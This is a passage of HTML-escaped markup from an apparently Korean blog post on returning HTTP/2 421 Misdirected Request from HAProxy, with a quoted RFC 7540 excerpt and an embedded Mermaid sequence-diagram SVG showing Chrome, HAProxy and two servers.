잘못된 요청을 받았을 때 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/2 421 Misdirected Request&lt;/code&gt; 응답을 하도록 하라고 한다.&lt;/p&gt; &lt;p&gt;우선은 HAProxy의 코드를 수정해서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/2 421 Misdirected Request&lt;/code&gt; 응답을 하도록 했는데, 421 에러코드의 내용을 보면 &lt;strong&gt;“이 에러코드는 프록시에 의해 생성되어서는 안된다.”&lt;/strong&gt; 라고 한다. (따라서 PR은 못 할듯)&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;The 421 (Misdirected Request) status code indicates that the request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.&lt;/p&gt; &lt;p&gt;Clients receiving a 421 (Misdirected Request) response from a server MAY retry the request — whether the request method is idempotent or not — over a different connection. This is possible if a connection is reused (&lt;a href=&quot;https://httpwg.org/specs/rfc7540.html#reuse&quot;&gt;Section 9.1.1&lt;/a&gt;) or if an alternative service is selected [ALT-SVC].&lt;/p&gt; &lt;p&gt;&lt;strong&gt;This status code MUST NOT be generated by proxies.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;A 421 response is cacheable by default, i.e., unless otherwise indicated by the method definition or explicit cache controls (see Section &lt;a href=&quot;https://httpwg.org/specs/rfc7234.html#heuristic.freshness&quot;&gt;4.2.2&lt;/a&gt; of [RFC7234]).&lt;/p&gt; &lt;ul&gt; &lt;li&gt;reference: &lt;a href=&quot;https://httpwg.org/specs/rfc7540.html#MisdirectedRequest&quot;&gt;https://httpwg.org/specs/rfc7540.html#MisdirectedRequest&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/blockquote&gt; &lt;p&gt;동작 과정은 아래와 같다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-06-01-17-41-41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;svg class=&quot;mermaid-svg&quot; id=&quot;mermaid-svg&quot; width=&quot;100%&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; style=&quot;max-width: 1018px;&quot; viewBox=&quot;-50 -10 1018 1133&quot; role=&quot;graphics-document document&quot; aria-roledescription=&quot;sequence&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;style xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;@import url(&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css&quot;);&lt;/style&gt;&lt;g&gt;&lt;rect x=&quot;768&quot; y=&quot;1047&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv2&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;843&quot; y=&quot;1079.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;843&quot; dy=&quot;0&quot;&gt;serv2&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;568&quot; y=&quot;1047&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv1&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;643&quot; y=&quot;1079.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;643&quot; dy=&quot;0&quot;&gt;serv1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;344&quot; y=&quot;1047&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;HAProxy&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;419&quot; y=&quot;1079.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;419&quot; dy=&quot;0&quot;&gt;HAProxy&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;0&quot; y=&quot;1047&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;Chrome&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;75&quot; y=&quot;1079.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Chrome&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor3&quot; x1=&quot;843&quot; y1=&quot;65&quot; x2=&quot;843&quot; y2=&quot;1047&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;serv2&quot; /&gt;&lt;g id=&quot;root-3&quot;&gt;&lt;rect x=&quot;768&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv2&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;843&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;843&quot; dy=&quot;0&quot;&gt;serv2&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor2&quot; x1=&quot;643&quot; y1=&quot;65&quot; x2=&quot;643&quot; y2=&quot;1047&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;serv1&quot; /&gt;&lt;g id=&quot;root-2&quot;&gt;&lt;rect x=&quot;568&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv1&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;643&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;643&quot; dy=&quot;0&quot;&gt;serv1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor1&quot; x1=&quot;419&quot; y1=&quot;65&quot; x2=&quot;419&quot; y2=&quot;1047&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;HAProxy&quot; /&gt;&lt;g id=&quot;root-1&quot;&gt;&lt;rect x=&quot;344&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;HAProxy&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;419&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;419&quot; dy=&quot;0&quot;&gt;HAProxy&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor0&quot; x1=&quot;75&quot; y1=&quot;65&quot; x2=&quot;75&quot; y2=&quot;1047&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;Chrome&quot; /&gt;&lt;g id=&quot;root-0&quot;&gt;&lt;rect x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;Chrome&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;75&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Chrome&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;style&gt;#mermaid-svg{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg .error-icon{fill:#552222;}#mermaid-svg .error-text{fill:#552222;stroke:#552222;}#mermaid-svg .edge-thickness-normal{stroke-width:1px;}#mermaid-svg .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg .marker{fill:#333333;stroke:#333333;}#mermaid-svg .marker.cross{stroke:#333333;}#mermaid-svg svg{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg p{margin:0;}#mermaid-svg .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg text.actor&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg .sequenceNumber{fill:white;}#mermaid-svg #sequencenumber{fill:#333;}#mermaid-svg #crosshead path{fill:#333;stroke:#333;}#mermaid-svg .messageText{fill:#333;stroke:none;}#mermaid-svg .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg .labelText,#mermaid-svg .labelText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .loopText,#mermaid-svg .loopText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg .noteText,#mermaid-svg .noteText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg .actorPopupMenu{position:absolute;}#mermaid-svg .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg .actor-man circle,#mermaid-svg line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg :root{--mermaid-font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;}&lt;/style&gt;&lt;g /&gt;&lt;defs&gt;&lt;symbol id=&quot;computer&quot; width=&quot;24&quot; height=&quot;24&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;symbol id=&quot;database&quot; fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;symbol id=&quot;clock&quot; width=&quot;24&quot; height=&quot;24&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;arrowhead&quot; refX=&quot;7.9&quot; refY=&quot;5&quot; markerUnits=&quot;userSpaceOnUse&quot; markerWidth=&quot;12&quot; markerHeight=&quot;12&quot; orient=&quot;auto-start-reverse&quot;&gt;&lt;path d=&quot;M -1 0 L 10 5 L 0 10 z&quot; /&gt;&lt;/marker&gt;&lt;/defs&gt;&lt;defs&gt;&lt;marker id=&quot;crosshead&quot; markerWidth=&quot;15&quot; markerHeight=&quot;8&quot; orient=&quot;auto&quot; refX=&quot;4&quot; refY=&quot;4.5&quot;&gt;&lt;path fill=&quot;none&quot; stroke=&quot;#000000&quot; stroke-width=&quot;1pt&quot; 